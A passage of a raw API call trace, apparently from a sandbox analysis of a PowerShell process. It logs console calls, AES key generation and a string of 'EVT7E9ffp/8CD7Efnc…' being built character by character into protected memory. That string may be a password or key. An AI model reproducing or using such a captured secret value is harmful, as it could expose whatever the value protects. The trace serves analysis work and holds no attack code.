ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x13214)) returned 1 [0242.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0242.800] GetConsoleOutputCP () returned 0x1b5 [0242.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.800] GetConsoleOutputCP () returned 0x1b5 [0242.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.801] GetConsoleOutputCP () returned 0x1b5 [0242.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.801] GetConsoleOutputCP () returned 0x1b5 [0242.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.801] GetConsoleOutputCP () returned 0x1b5 [0242.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.801] GetConsoleOutputCP () returned 0x1b5 [0242.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.802] GetConsoleOutputCP () returned 0x1b5 [0242.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.802] GetConsoleOutputCP () returned 0x1b5 [0242.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.802] GetConsoleOutputCP () returned 0x1b5 [0242.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.802] GetConsoleOutputCP () returned 0x1b5 [0242.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.803] GetConsoleOutputCP () returned 0x1b5 [0242.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.803] GetConsoleOutputCP () returned 0x1b5 [0242.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.803] GetConsoleOutputCP () returned 0x1b5 [0242.803] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.803] GetConsoleOutputCP () returned 0x1b5 [0242.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.804] GetConsoleOutputCP () returned 0x1b5 [0242.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.804] GetConsoleOutputCP () returned 0x1b5 [0242.804] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.804] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0242.805] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0242.805] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2468764*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x2468764*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0242.806] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0242.806] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0242.807] EtwEventActivityIdControl () returned 0x0 [0242.807] EtwEventActivityIdControl () returned 0x0 [0242.807] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.808] EtwEventActivityIdControl () returned 0x0 [0242.808] EtwEventActivityIdControl () returned 0x0 [0242.808] EtwEventActivityIdControl () returned 0x0 [0242.809] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.810] EtwEventActivityIdControl () returned 0x0 [0242.810] EtwEventActivityIdControl () returned 0x0 [0242.810] EtwEventActivityIdControl () returned 0x0 [0242.812] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x372ac8) returned 1 [0242.813] CryptGenKey (in: hProv=0x372ac8, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c68b80) returned 1 [0242.814] CryptContextAddRef (hProv=0x372ac8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.814] CryptExportKey (in: hKey=0x5c68b80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0242.814] CryptExportKey (in: hKey=0x5c68b80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x247013c, pdwDataLen=0x5a2e8c4 | out: pbData=0x247013c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0242.814] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.815] EtwEventActivityIdControl () returned 0x0 [0242.815] EtwEventActivityIdControl () returned 0x0 [0242.815] EtwEventActivityIdControl () returned 0x0 [0242.816] SysStringLen (param_1="") returned 0x8 [0242.816] SysStringLen (param_1="E") returned 0x8 [0242.816] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.816] SysStringLen (param_1="晫\꫟䕟﻾饞∔) returned 0x8 [0242.816] SysStringLen (param_1="晫\꫟䕟﻾饞∔) returned 0x8 [0242.816] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.816] SysStringLen (param_1="EV") returned 0x8 [0242.816] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.817] SysStringLen (param_1="튼郺ైꑹ쩳ឯ蝨") returned 0x8 [0242.817] SysStringLen (param_1="튼郺ైꑹ쩳ឯ蝨") returned 0x8 [0242.817] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.817] SysStringLen (param_1="EVT") returned 0x8 [0242.817] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.817] SysStringLen (param_1="ꜽᎶﲧ餶\﷛≾) returned 0x8 [0242.817] SysStringLen (param_1="ꜽᎶﲧ餶\﷛≾) returned 0x8 [0242.817] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.817] SysStringLen (param_1="EVT7") returned 0x8 [0242.817] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.817] SysStringLen (param_1="಄땘ﲰ勞㏺慯䢣") returned 0x8 [0242.817] SysStringLen (param_1="಄땘ﲰ勞㏺慯䢣") returned 0x8 [0242.817] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.818] SysStringLen (param_1="EVT7E") returned 0x8 [0242.818] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.818] SysStringLen (param_1="诓ᗚ褑격㜇격") returned 0x8 [0242.818] SysStringLen (param_1="诓ᗚ褑격㜇격") returned 0x8 [0242.818] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.818] SysStringLen (param_1="EVT7E9") returned 0x8 [0242.818] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.818] SysStringLen (param_1="⼙覛旊䞲ळࡹ") returned 0x8 [0242.818] SysStringLen (param_1="⼙覛旊䞲ळࡹ") returned 0x8 [0242.818] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.818] SysStringLen (param_1="EVT7E9f") returned 0x8 [0242.818] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.819] SysStringLen (param_1="믑むⴂ⺬萁焛♍ዓ") returned 0x8 [0242.819] SysStringLen (param_1="믑むⴂ⺬萁焛♍ዓ") returned 0x8 [0242.819] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.819] SysStringLen (param_1="EVT7E9ff") returned 0x8 [0242.819] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.819] SysStringLen (param_1="鷸納⇝訖ែ⁥") returned 0x8 [0242.819] SysStringLen (param_1="鷸納⇝訖ែ⁥") returned 0x8 [0242.819] SysStringLen (param_1="鷸納⇝訖ែ⁥") returned 0x8 [0242.820] SysStringLen (param_1="鷸納⇝訖ែ⁥") returned 0x10 [0242.820] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.820] SysStringLen (param_1="EVT7E9ffp䖘葆鬓ǹꆽ髤") returned 0x10 [0242.820] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.820] SysStringLen (param_1="鷸納⇝訖ែ⁥黨拴㵡파镹窰悧罭") returned 0x10 [0242.820] SysStringLen (param_1="鷸納⇝訖ែ⁥黨拴㵡파镹窰悧罭") returned 0x10 [0242.820] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.820] SysStringLen (param_1="EVT7E9ffp/葆鬓ǹꆽ髤") returned 0x10 [0242.820] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.821] SysStringLen (param_1="鷸納⇝訖ែ⁥䲏䯠니쫿撔網ꞝ㘭") returned 0x10 [0242.821] SysStringLen (param_1="鷸納⇝訖ែ⁥䲏䯠니쫿撔網ꞝ㘭") returned 0x10 [0242.821] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.821] SysStringLen (param_1="EVT7E9ffp/8鬓ǹꆽ髤") returned 0x10 [0242.821] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.821] SysStringLen (param_1="鷸納⇝訖ែ⁥⭪峕䶕㙍꣞접ﴲ຦") returned 0x10 [0242.821] SysStringLen (param_1="鷸納⇝訖ែ⁥⭪峕䶕㙍꣞접ﴲ຦") returned 0x10 [0242.821] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.821] SysStringLen (param_1="EVT7E9ffp/8Cǹꆽ髤") returned 0x10 [0242.821] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.821] SysStringLen (param_1="鷸納⇝訖ែ⁥䅳ඇ㬂♉ﾉ钦땊䛂") returned 0x10 [0242.821] SysStringLen (param_1="鷸納⇝訖ែ⁥䅳ඇ㬂♉ﾉ钦땊䛂") returned 0x10 [0242.821] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.822] SysStringLen (param_1="EVT7E9ffp/8CDꆽ髤") returned 0x10 [0242.822] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.822] SysStringLen (param_1="鷸納⇝訖ែ⁥㮴煒㴖摞嘡⺧镆洯") returned 0x10 [0242.822] SysStringLen (param_1="鷸納⇝訖ែ⁥㮴煒㴖摞嘡⺧镆洯") returned 0x10 [0242.822] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.822] SysStringLen (param_1="EVT7E9ffp/8CD7髤") returned 0x10 [0242.822] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.822] SysStringLen (param_1="鷸納⇝訖ែ⁥垛魹竪緾茞ᙏꦻ⮊") returned 0x10 [0242.822] SysStringLen (param_1="鷸納⇝訖ែ⁥垛魹竪緾茞ᙏꦻ⮊") returned 0x10 [0242.822] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.822] SysStringLen (param_1="EVT7E9ffp/8CD7E") returned 0x10 [0242.822] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.823] SysStringLen (param_1="鷸納⇝訖ែ⁥▲뒷囥湔﵁₰妨") returned 0x10 [0242.823] SysStringLen (param_1="鷸納⇝訖ែ⁥▲뒷囥湔﵁₰妨") returned 0x10 [0242.823] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.823] SysStringLen (param_1="EVT7E9ffp/8CD7Ef") returned 0x10 [0242.823] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.823] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\⋚) returned 0x10 [0242.823] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\⋚) returned 0x10 [0242.823] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\⋚) returned 0x10 [0242.823] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\⋚) returned 0x18 [0242.824] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.824] SysStringLen (param_1="EVT7E9ffp/8CD7Efn髈ꖵ阨㓱ⓣ漩ច") returned 0x18 [0242.824] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.824] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\苚ꃸ㳭荴ﮐⲜ깑⍢⋥) returned 0x18 [0242.824] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\苚ꃸ㳭荴ﮐⲜ깑⍢⋥) returned 0x18 [0242.824] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.824] SysStringLen (param_1="EVT7E9ffp/8CD7Efncꖵ阨㓱ⓣ漩ច") returned 0x18 [0242.824] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.824] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䛚㲆␧韈ࡹႲ服し∢) returned 0x18 [0242.824] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䛚㲆␧韈ࡹႲ服し∢) returned 0x18 [0242.824] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.825] SysStringLen (param_1="EVT7E9ffp/8CD7EfncW阨㓱ⓣ漩ច") returned 0x18 [0242.825] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.825] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\\绚ᓯ順䢤疚৩롢豎") returned 0x18 [0242.825] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\\绚ᓯ順䢤疚৩롢豎") returned 0x18 [0242.825] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.825] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA㓱ⓣ漩ច") returned 0x18 [0242.825] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.825] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\Ϛ誷ᅵ胱ᔟ㮙ᬥ蠊⊔) returned 0x18 [0242.825] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\Ϛ誷ᅵ胱ᔟ㮙ᬥ蠊⊔) returned 0x18 [0242.825] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.825] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8ⓣ漩ច") returned 0x18 [0242.825] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.826] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\㿚糖豌㇮홬⯙蠉∬) returned 0x18 [0242.826] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\㿚糖豌㇮홬⯙蠉∬) returned 0x18 [0242.826] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.826] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8i漩ច") returned 0x18 [0242.826] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.826] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\歂应﷥뷖汙ウ᧬≊) returned 0x18 [0242.826] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\歂应﷥뷖汙ウ᧬≊) returned 0x18 [0242.826] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.826] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyច") returned 0x18 [0242.826] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.826] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\鏚턘魑毒讥ꊗ⊡) returned 0x18 [0242.826] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\鏚턘魑毒讥ꊗ⊡) returned 0x18 [0242.826] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.826] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyw") returned 0x18 [0242.827] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.827] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹≋) returned 0x18 [0242.827] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹≋) returned 0x18 [0242.827] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹≋) returned 0x18 [0242.827] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹≋) returned 0x20 [0242.827] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.828] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iywe兽퍖诅휲쩫蘉") returned 0x20 [0242.828] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.828] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹\泟뀸緷䵹蔦ᴐ甸䅞") returned 0x20 [0242.828] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹\泟뀸緷䵹蔦ᴐ甸䅞") returned 0x20 [0242.828] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.828] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweC퍖诅휲쩫蘉") returned 0x20 [0242.828] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.828] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹๋ㄛᕩᯡ쌞ﳋ䜱ኀ∎) returned 0x20 [0242.828] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹๋ㄛᕩᯡ쌞ﳋ䜱ኀ∎) returned 0x20 [0242.828] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.828] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCi诅휲쩫蘉") returned 0x20 [0242.828] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.829] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ꉋꚎ䴁䁖｣靿⇆⋰) returned 0x20 [0242.829] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ꉋꚎ䴁䁖｣靿⇆⋰) returned 0x20 [0242.829] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.829] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiq휲쩫蘉") returned 0x20 [0242.829] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.829] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹뉋ৗˉ匪\᧝캲똀㠕") returned 0x20 [0242.829] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹뉋ৗˉ匪\᧝캲똀㠕") returned 0x20 [0242.829] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.829] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqa휲쩫蘉") returned 0x20 [0242.829] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.829] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹腋⮫法攓ꂦꙹ圙∪) returned 0x20 [0242.829] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹腋⮫法攓ꂦꙹ圙∪) returned 0x20 [0242.829] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.830] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaq쩫蘉") returned 0x20 [0242.830] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.830] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᝋ찌믩ᰗ㍄ꥯ鍪≧) returned 0x20 [0242.830] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᝋ찌믩ᰗ㍄ꥯ鍪≧) returned 0x20 [0242.830] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.830] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqL蘉") returned 0x20 [0242.830] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.830] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹걋댹ⶉ᪐ჰ−) returned 0x20 [0242.830] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹걋댹ⶉ᪐ჰ−) returned 0x20 [0242.830] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.830] SysStringLen (param_1="EVT7E9ffp/8CD7EfncWA8iyweCiqaqLp") returned 0x20 [0242.831] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.831] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព") returned 0x20 [0242.831] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព") returned 0x20 [0242.831] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព") returned 0x20 [0242.831] SysStringLen (param_1="鷸納⇝訖ែ⁥ꉝ틜⳦뼞銜ᱚ\䃚㽩த䄱䵹ᡡ㊹ᙋꥳⅉ\釙ꆔ㬹ព१") returned 0x28 [0242.831] SystemFunction041 (in: Memory=0x5c9b25c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b25c) returned 0x0 [0242.831] SysStringLen 